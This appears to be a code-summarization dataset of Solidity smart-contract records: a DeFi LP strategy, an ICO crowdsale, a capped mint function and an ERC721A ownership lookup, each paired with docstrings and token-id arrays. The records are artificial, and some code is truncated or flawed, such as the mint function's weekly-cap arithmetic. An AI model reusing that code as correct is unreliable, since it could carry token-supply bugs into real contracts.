lpPairTokenB.approve(address(unirouter), type(uint256).max);
}
/**
* @dev See {IStrategyV2-deposit}.
*/
function deposit(uint256 _poolId, uint256 _amount) public override {
PoolInfo storage pool = poolMap[_poolId];
require(pool.vault == msg.sender, "sender not vault");
if (aggressiveMode) {
_amount = lpPair.balanceOf(address(this));
}
if (pool.poolType == 0) {
IStakingRewards(pool.targetPool).stake(_amount);
} else {
ISushiPool(pool.targetPool).deposit(pool.targetPoolId, _amount);
}
pool.balance = pool.balance.add(_amount);
totalBalance = totalBalance.add(_amount);
}
/**
* @dev See {IStrategyV2-claim}.
*/
function claim(uint256 _poolId) external override {
require(poolMap[_poolId].vault == msg.sender, "sender not vault");
_claim(_poolId);
}
function _claim(uint256 _poolId) internal {
PoolInfo storage pool = poolMap[_poolId];
if (pool.poolType == 0) {
IStakingRewards(pool.targetPool).getReward();
} else if (pool.poolType == 1) {
ISushiPool(pool.targetPool).deposit(pool.targetPoolId, 0);
} else {
ISushiPool(pool.targetPool).claim(pool.targetPoolId);
}
}
/**
* @dev See {IStrategyV2-withdraw}.
*/
function withdraw(uint256 _poolId, uint256 _amount) external override {
PoolInfo storage pool = poolMap[_poolId];
require(pool.vault == msg.sender, "sender not vault");
if (pool.poolType == 0) {
IStakingRewards(pool.targetPool).withdraw(_amount);
} else {
ISushiPool(pool.targetPool).withdraw(pool.targetPoolId, _amount);
}
if (pool.balance < _amount) {
_amount = pool.balance;
}
pool.balance = pool.balance - _amount;
if (totalBalance >= _amount) totalBalance = totalBalance - _amount;
}
function depositByGov(address pool, uint8 _poolType, uint256 _targetPoolId, uint256 _amount) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
if (_poolType == 0) {
IStakingRewards(pool).stake(_amount);
} else {
ISushiPool(pool).deposit(_targetPoolId, _amount);
}
}
function claimByGov(address pool, uint8 _poolType, uint256 _targetPoolId) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
if (_poolType == 0) {
IStakingRewards(pool).getReward();
} else if (_poolType == 1) {
ISushiPool(pool).deposit(_targetPoolId, 0);
} else {
ISushiPool(pool).claim(_targetPoolId);
}
}
function withdrawByGov(address pool, uint8 _poolType, uint256 _targetPoolId, uint256 _amount) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
if (_poolType == 0) {
IStakingRewards(pool).withdraw(_amount);
} else {
ISushiPool(pool).withdraw(_targetPoolId, _amount);
}
}
function emergencyWithdrawByGov(address pool, uint256 _targetPoolId) external {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
ISushiPool(pool).emergencyWithdraw(_targetPoolId);
}
/**
* @dev See {IStrategyV2-poolQuota}.
*/
function poolQuota(uint256 _poolId) external override view returns (uint256) {
return poolMap[_poolId].poolQuota;
}
function forwardToAnotherStrategy(address _dest, uint256 _amount) external override returns (uint256 sent) {
require(valueVaultMaster.isVault(msg.sender), "not vault");
require(valueVaultMaster.isStrategy(_dest), "not strategy");
require(IStrategyV2(_dest).getLpToken() == address(lpPair), "!lpPair");
uint256 lpPairBal = lpPair.balanceOf(address(this));
sent = (_amount < lpPairBal) ? _amount : lpPairBal;
lpPair.transfer(_dest, sent);
}
function setUnirouterPath(address _input, address _output, address [] memory _path) public {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
uniswapPaths[_input][_output] = _path;
}
function setLiquidPool(address _input, address _output, address _pool) public {
require(msg.sender == governance || msg.sender == strategist, "!governance && !strategist");
liquidPools[_input][_output] = _pool;
IERC20(_input).approve(_pool, type(uint256).max);
}
function _swapTokens(address _input, address _output, uint256 _amount) internal {
address _pool = liquidPools[_input][_output];
if (_pool != address(0)) { // use ValueLiquid
// swapExactAmountIn(tokenIn, tokenAmountIn, tokenOut, minAmountOut, maxPrice)
IValueLiquidPool(_pool).swapExactAmountIn(_input, _amount, _output, 1, type(uint256).max);
} else { // use Uniswap
address[] memory path = uniswapPaths[_input][_output];
if (path.length == 0) {
// path: _input -> _output
path = new address[](2);
path[0] = _input;
path[1] = _output;
}
// swapExactTokensForTokens(amountIn, amountOutMin, path, to, deadline)
unirouter.swapExactTokensForTokens(_amount, 1, path, address(this), now.add(1800));
}
}
function _addLiquidity() internal {
// addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin, to, deadline)
unirouter.addLiquidity(address(lpPairTokenA), address(lpPairTokenB), lpPairTokenA.balanceOf(address(this)), lpPairTokenB.balanceOf(address(this)), 1, 1, address(this), now.add(1800));
}
/**
* @dev See {IStrategyV2-harvest}.
*/
function harvest(uint256 _bankPoolId, uint256 _poolId) external override {
address bank = valueVaultMaster.bank();
address _vault = msg.sender;
require(valueVaultMaster.isVault(_vault), "!vault"); // additional protection so we don't burn the funds
PoolInfo storage pool = poolMap[_poolId];
_claim(_poolId);
IERC20 targetToken = pool.targetToken;
uint256 targetTokenBal = targetToken.balanceOf(address(this));
if (targetTokenBal < pool.minHarvestForTakeProfit) return;
_swapTokens(address(targetToken), address(weth), targetTokenBal);
uint256 wethBal = weth.balanceOf(address(this));
if (wethBal > 0) {
uint256 _reserved = 0;
uint256 _gasFee = 0;
uint256 _govVaultProfitShareFee = 0;
if (valueVaultMaster.gasFee() > 0) {
_gasFee = wethBal.mul(valueVaultMaster.gasFee()).div(FEE_DENOMINATOR);
_reserved = _reserved.add(_gasFee);
}
if (valueVaultMaster.govVaultProfitShareFee() > 0) {
_govVaultProfitShareFee = wethBal.mul(valueVaultMaster.govVaultProfitShareFee()).div(FEE_DENOMINATOR);
_reserved = _reserved.add(_govVaultProfitShareFee);
}
uint256 wethToBuyTokenA = wethBal.sub(_reserved).div(2); // we have TokenB (WETH) already, so use 1/2 bal to buy TokenA (USDC)
_swapTokens(address(weth), address(lpPairTokenA), wethToBuyTokenA);
_addLiquidity();
wethBal = weth.balanceOf(address(this));
{
address profitSharer = valueVaultMaster.profitSharer();
address performanceReward = valueVaultMaster.performanceReward();
if (_gasFee > 0 && performanceReward != address(0)) {
if (_gasFee.add(_govVaultProfitShareFee) < wethBal) {
_gasFee = wethBal.sub(_govVaultProfitShareFee);
}
weth.transfer(performanceReward, _gasFee);
wethBal = weth.balanceOf(address(this));
}
if (_govVaultProfitShareFee > 0 && profitSharer != address(0)) {
address govToken = valueVaultMaster.govToken();
_swapTokens(address(weth), govToken, wethBal);
IERC20(govToken).transfer(profitSharer, IERC20(govToken).balanceOf(address(this)));
IProfitSharer(profitSharer).shareProfit();
}
}
uint256 balanceLeft = lpPair.balanceOf(address(this));
if (balanceLeft > 0) {
if (_bankPoolId == type(uint256).max) {
// this called by governance of vault, send directly to bank (dont make profit)
lpPair.transfer(bank, balanceLeft);
} else {
if (lpPair.allowance(address(this), bank) < balanceLeft) {
lpPair.approve(bank, 0);
lpPair.approve(bank, balanceLeft);
}
IValueVaultBank(bank).make_profit(_bankPoolId, balanceLeft);
}
}
}
}
/**
* @dev See {IStrategyV2-getLpToken}.
*/
function getLpToken() external view override returns(address) {
return address(lpPair);
}
/**
* @dev See {IStrategyV2-getTargetToken}.
*/
function getTargetToken(uint256 _poolId) external override view returns(address) {
return address(poolMap[_poolId].targetToken);
}
function balanceOf(uint256 _poolId) public override view returns (uint256) {
return poolMap[_poolId].balance;
}
// Only support IStakingRewards pool
function pendingReward(uint256 _poolId) public override view returns (uint256) {
if (poolMap[_poolId].poolType != 0) return 0; // do not support other pool types
return IStakingRewards(poolMap[_poolId].targetPool).earned(address(this));
}
// Helper function, Should never use it on-chain.
// Return 1e18x of APY. _lpPairUsdcPrice = current lpPair price (1-wei in USDC-wei) multiple by 1e18
function expectedAPY(uint256, uint256) public override view returns (uint256) {
return 0; // not implemented
}
/**
* @dev if there is any token stuck we will need governance support to rescue the fund
*/
function governanceRescueToken(IERC20 _token) external override returns (uint256 balance) {
address bank = valueVaultMaster.bank();
require(bank == msg.sender, "sender not bank");
balance = _token.balanceOf(address(this));
_token.transfer(bank, balance);
}
event ExecuteTransaction(address indexed target, uint value, string signature, bytes data);
function executeTransaction(address target, uint value, string memory signature, bytes memory data) public returns (bytes memory) {
require(msg.sender == governance, "!governance");
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value: value}(callData);
require(success, "Univ2ETHUSDCMultiPoolStrategy::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(target, value, signature, data);
return returnData;
}
}
| we have TokenB (WETH) already, so use 1/2 bal to buy TokenA (USDC)
| uint256 wethToBuyTokenA = wethBal.sub(_reserved).div(2); | 5,504,773 | [
1,
1814,
1240,
3155,
38,
261,
59,
1584,
44,
13,
1818,
16,
1427,
999,
404,
19,
22,
324,
287,
358,
30143,
3155,
37,
261,
3378,
5528,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5411,
2254,
5034,
341,
546,
774,
38,
9835,
1345,
37,
273,
341,
546,
38,
287,
18,
1717,
24899,
18898,
2934,
2892,
12,
22,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.15;
contract IToken {
function issue(address _recipient, uint256 _value) returns (bool);
function totalSupply() constant returns (uint256);
function unlock() returns (bool);
}
contract CoinoorCrowdsale {
// Crowdsale details
address public beneficiary; // Company address multisig (100% eth + 4.9 mln tokens)
address public creator; // Creator (.25 mln tokens)
address public marketing; // Marketing team (2.5 mln tokens)
address public bounty; // Bounty (100k tokens)
address public confirmedBy; // Address that confirmed beneficiary
uint256 public maxSupply = 65000000 * 10**8; // 65 mln tokens
uint256 public minAcceptedAmount = 40 finney; // 1/25 ether
// Eth to CNR rate
uint256 public ratePreICO = 450; // 50% bonus
uint256 public rateWaiting = 0;
uint256 public rateAngelDay = 420; // 40% bonus
uint256 public rateFirstWeek = 390; // 30% bonus
uint256 public rateSecondWeek = 375; // 25% bonus
uint256 public rateThirdWeek = 360; // 20% bonus
uint256 public rateLastWeek = 330; // 10% bonus
uint256 public ratePreICOEnd = 10 days;
uint256 public rateWaitingEnd = 20 days;
uint256 public rateAngelDayEnd = 21 days;
uint256 public rateFirstWeekEnd = 28 days;
uint256 public rateSecondWeekEnd = 35 days;
uint256 public rateThirdWeekEnd = 42 days;
uint256 public rateLastWeekEnd = 49 days;
enum Stages {
Deploying,
InProgress,
Ended
}
Stages public stage = Stages.Deploying;
// Crowdsale state
uint256 public start;
uint256 public end;
uint256 public raised;
// Token
IToken public token;
/**
* Throw if at stage other than current stage
*
* @param _stage expected stage to test for
*/
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/**
* Throw if sender is not beneficiary
*/
modifier onlyBeneficiary() {
require(beneficiary == msg.sender);
_;
}
/**
* Construct
*
* @param _tokenAddress The address of the token contact
* @param _beneficiary The address of the beneficiary
* @param _creator The address of the tech team
* @param _marketing The address of the marketing team
* @param _bounty The address of the bounty wallet
* @param _start The timestamp of the start date
*/
function CoinoorCrowdsale(address _tokenAddress, address _beneficiary, address _creator, address _marketing, address _bounty, uint256 _start) {
token = IToken(_tokenAddress);
beneficiary = _beneficiary;
creator = _creator;
marketing = _marketing;
bounty = _bounty;
start = _start;
end = start + rateLastWeekEnd;
}
/**
* Deploy and start the crowdsale
*/
function init() atStage(Stages.Deploying) {
stage = Stages.InProgress;
// Create tokens
if (!token.issue(beneficiary, 4900000 * 10**8)) {
stage = Stages.Deploying;
revert();
}
if (!token.issue(creator, 2500000 * 10**8)) {
stage = Stages.Deploying;
revert();
}
if (!token.issue(marketing, 2500000 * 10**8)) {
stage = Stages.Deploying;
revert();
}
if (!token.issue(bounty, 100000 * 10**8)) {
stage = Stages.Deploying;
revert();
}
}
/**
* For testing purposes
*
* @return The beneficiary address
*/
function confirmBeneficiary() onlyBeneficiary {
confirmedBy = msg.sender;
}
/**
* Convert `_wei` to an amount in tokens using
* the current rate
*
* @param _wei amount of wei to convert
* @return The amount in tokens
*/
function toTokens(uint256 _wei) returns (uint256 amount) {
uint256 rate = 0;
if (stage != Stages.Ended && now >= start && now <= end) {
// Check for preico
if (now <= start + ratePreICOEnd) {
rate = ratePreICO;
}
// Check for waiting period
else if (now <= start + rateWaitingEnd) {
rate = rateWaiting;
}
// Check for angelday
else if (now <= start + rateAngelDayEnd) {
rate = rateAngelDay;
}
// Check first week
else if (now <= start + rateFirstWeekEnd) {
rate = rateFirstWeek;
}
// Check second week
else if (now <= start + rateSecondWeekEnd) {
rate = rateSecondWeek;
}
// Check third week
else if (now <= start + rateThirdWeekEnd) {
rate = rateThirdWeek;
}
// Check last week
else if (now <= start + rateLastWeekEnd) {
rate = rateLastWeek;
}
}
return _wei * rate * 10**8 / 1 ether; // 10**8 for 8 decimals
}
/**
* Function to end the crowdsale by setting
* the stage to Ended
*/
function endCrowdsale() atStage(Stages.InProgress) {
require(now > end);
stage = Stages.Ended;
if (!token.unlock()) {
stage = Stages.InProgress;
}
}
/**
* Transfer appropriate percentage of raised amount
* to the company address
*/
function withdraw() onlyBeneficiary atStage(Stages.Ended) {
beneficiary.transfer(this.balance);
}
/**
* Receives Eth and issue tokens to the sender
*/
function () payable atStage(Stages.InProgress) {
// Crowdsale not started yet
require(now >= start);
// Crowdsale expired
require(now <= end);
// Enforce min amount
require(msg.value >= minAcceptedAmount);
address sender = msg.sender;
uint256 received = msg.value;
uint256 valueInTokens = toTokens(received);
// Period between pre-ico and ico
require(valueInTokens > 0);
// Track
raised += received;
// Check max supply
if (token.totalSupply() + valueInTokens >= maxSupply) {
stage = Stages.Ended;
}
// Create tokens
if (!token.issue(sender, valueInTokens)) {
revert();
}
// 100% eth
if (!beneficiary.send(received)) {
revert();
}
}
} | * Convert `_wei` to an amount in tokens using the current rate @param _wei amount of wei to convert @return The amount in tokens/ Check for preico Check for waiting period Check for angelday Check first week Check second week Check third week Check last week | function toTokens(uint256 _wei) returns (uint256 amount) {
uint256 rate = 0;
if (stage != Stages.Ended && now >= start && now <= end) {
if (now <= start + ratePreICOEnd) {
rate = ratePreICO;
}
else if (now <= start + rateWaitingEnd) {
rate = rateWaiting;
}
else if (now <= start + rateAngelDayEnd) {
rate = rateAngelDay;
}
else if (now <= start + rateFirstWeekEnd) {
rate = rateFirstWeek;
}
else if (now <= start + rateSecondWeekEnd) {
rate = rateSecondWeek;
}
else if (now <= start + rateThirdWeekEnd) {
rate = rateThirdWeek;
}
else if (now <= start + rateLastWeekEnd) {
rate = rateLastWeek;
}
}
}
| 10,493,908 | [
1,
2723,
1375,
67,
1814,
77,
68,
358,
392,
3844,
316,
2430,
1450,
326,
783,
4993,
225,
389,
1814,
77,
3844,
434,
732,
77,
358,
1765,
327,
1021,
3844,
316,
2430,
19,
2073,
364,
675,
10764,
2073,
364,
7336,
3879,
2073,
364,
7603,
488,
528,
2073,
1122,
4860,
2073,
2205,
4860,
2073,
12126,
4860,
2073,
1142,
4860,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
358,
5157,
12,
11890,
5034,
389,
1814,
77,
13,
1135,
261,
11890,
5034,
3844,
13,
288,
203,
3639,
2254,
5034,
4993,
273,
374,
31,
203,
3639,
309,
261,
12869,
480,
934,
1023,
18,
28362,
597,
2037,
1545,
787,
597,
2037,
1648,
679,
13,
288,
203,
203,
5411,
309,
261,
3338,
1648,
787,
397,
4993,
1386,
2871,
51,
1638,
13,
288,
203,
7734,
4993,
273,
4993,
1386,
2871,
51,
31,
203,
5411,
289,
203,
203,
5411,
469,
309,
261,
3338,
1648,
787,
397,
4993,
15946,
1638,
13,
288,
203,
7734,
4993,
273,
4993,
15946,
31,
203,
5411,
289,
203,
203,
5411,
469,
309,
261,
3338,
1648,
787,
397,
4993,
22757,
292,
4245,
1638,
13,
288,
203,
7734,
4993,
273,
4993,
22757,
292,
4245,
31,
203,
5411,
289,
203,
203,
5411,
469,
309,
261,
3338,
1648,
787,
397,
4993,
3759,
6630,
1638,
13,
288,
203,
7734,
4993,
273,
4993,
3759,
6630,
31,
203,
5411,
289,
203,
203,
5411,
469,
309,
261,
3338,
1648,
787,
397,
4993,
8211,
6630,
1638,
13,
288,
203,
7734,
4993,
273,
4993,
8211,
6630,
31,
203,
5411,
289,
203,
203,
5411,
469,
309,
261,
3338,
1648,
787,
397,
4993,
24694,
6630,
1638,
13,
288,
203,
7734,
4993,
273,
4993,
24694,
6630,
31,
203,
5411,
289,
203,
203,
5411,
469,
309,
261,
3338,
1648,
787,
397,
4993,
3024,
6630,
1638,
13,
288,
203,
7734,
4993,
273,
4993,
3024,
6630,
31,
203,
5411,
289,
203,
3639,
289,
203,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/56/0x017bc8a64a2b3d8afF56E9d7E939fDd8e87ed730/sources/RiseCity.sol | * @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements: - `account` cannot be the zero address./ | function mint(address account, uint256 amount) public onlyOwner {
require(account != address(0), "ERC20: mint to the zero address");
if (!initMint) {
require(block.timestamp - mintTimer > 604800, "max week limit reached");
if (amount+actualMinted > maxMintPerWeek) {
amount = (amount+actualMinted)-maxMintPerWeek;
}
actualMinted += amount;
if (actualMinted > maxMintPerWeek) {
mintTimer = block.timestamp;
}
}
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
| 3,227,095 | [
1,
2729,
1375,
8949,
68,
2430,
471,
22698,
2182,
358,
1375,
4631,
9191,
21006,
326,
2078,
14467,
18,
7377,
1282,
279,
288,
5912,
97,
871,
598,
1375,
2080,
68,
444,
358,
326,
3634,
1758,
18,
29076,
30,
300,
1375,
4631,
68,
2780,
506,
326,
3634,
1758,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
312,
474,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
1071,
1338,
5541,
288,
203,
3639,
2583,
12,
4631,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
312,
474,
358,
326,
3634,
1758,
8863,
203,
3639,
309,
16051,
2738,
49,
474,
13,
288,
203,
5411,
2583,
12,
2629,
18,
5508,
300,
312,
474,
6777,
405,
1666,
3028,
17374,
16,
315,
1896,
4860,
1800,
8675,
8863,
203,
5411,
309,
261,
8949,
15,
18672,
49,
474,
329,
405,
943,
49,
474,
2173,
6630,
13,
288,
203,
7734,
3844,
273,
261,
8949,
15,
18672,
49,
474,
329,
24950,
1896,
49,
474,
2173,
6630,
31,
203,
5411,
289,
203,
5411,
3214,
49,
474,
329,
1011,
3844,
31,
203,
5411,
309,
261,
18672,
49,
474,
329,
405,
943,
49,
474,
2173,
6630,
13,
288,
203,
7734,
312,
474,
6777,
273,
1203,
18,
5508,
31,
203,
5411,
289,
203,
3639,
289,
203,
3639,
389,
5771,
1345,
5912,
12,
2867,
12,
20,
3631,
2236,
16,
3844,
1769,
203,
203,
3639,
389,
4963,
3088,
1283,
1011,
3844,
31,
203,
3639,
389,
70,
26488,
63,
4631,
65,
1011,
3844,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
2236,
16,
3844,
1769,
203,
203,
3639,
389,
5205,
1345,
5912,
12,
2867,
12,
20,
3631,
2236,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x8fa702D65542596aC1AD3C5454C622C13e53085E/sources/Moona_Lisa_Print_Original.sol | * Returns the packed ownership data of `tokenId`./ If not burned. Invariant: There will always be an initialized ownership slot (i.e. `ownership.addr != address(0) && ownership.burned == false`) before an unintialized ownership slot (i.e. `ownership.addr == address(0) && ownership.burned == false`) Hence, `curr` will not underflow. We can directly compare the packed value. If the address is zero, packed will be zero. | function _packedOwnershipOf(uint256 tokenId)
private
view
returns (uint256)
{
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr)
if (curr < _currentIndex) {
uint256 packed = _packedOwnerships[curr];
if (packed & _BITMASK_BURNED == 0) {
while (packed == 0) {
packed = _packedOwnerships[--curr];
}
return packed;
}
}
}
revert OwnerQueryForNonexistentToken();
}
| 2,771,291 | [
1,
1356,
326,
12456,
23178,
501,
434,
1375,
2316,
548,
8338,
19,
971,
486,
18305,
329,
18,
657,
8688,
30,
6149,
903,
3712,
506,
392,
6454,
23178,
4694,
261,
77,
18,
73,
18,
1375,
995,
12565,
18,
4793,
480,
1758,
12,
20,
13,
597,
23178,
18,
70,
321,
329,
422,
629,
24065,
1865,
392,
640,
474,
649,
1235,
23178,
4694,
261,
77,
18,
73,
18,
1375,
995,
12565,
18,
4793,
422,
1758,
12,
20,
13,
597,
23178,
18,
70,
321,
329,
422,
629,
24065,
670,
802,
16,
1375,
17016,
68,
903,
486,
3613,
2426,
18,
1660,
848,
5122,
3400,
326,
12456,
460,
18,
971,
326,
1758,
353,
3634,
16,
12456,
903,
506,
3634,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
2920,
329,
5460,
12565,
951,
12,
11890,
5034,
1147,
548,
13,
203,
3639,
3238,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
2254,
5034,
4306,
273,
1147,
548,
31,
203,
203,
3639,
22893,
288,
203,
5411,
309,
261,
67,
1937,
1345,
548,
1435,
1648,
4306,
13,
203,
7734,
309,
261,
17016,
411,
389,
2972,
1016,
13,
288,
203,
10792,
2254,
5034,
12456,
273,
389,
2920,
329,
5460,
12565,
87,
63,
17016,
15533,
203,
10792,
309,
261,
2920,
329,
473,
389,
15650,
11704,
67,
38,
8521,
2056,
422,
374,
13,
288,
203,
13491,
1323,
261,
2920,
329,
422,
374,
13,
288,
203,
18701,
12456,
273,
389,
2920,
329,
5460,
12565,
87,
63,
413,
17016,
15533,
203,
13491,
289,
203,
13491,
327,
12456,
31,
203,
10792,
289,
203,
7734,
289,
203,
3639,
289,
203,
3639,
15226,
16837,
1138,
1290,
3989,
19041,
1345,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
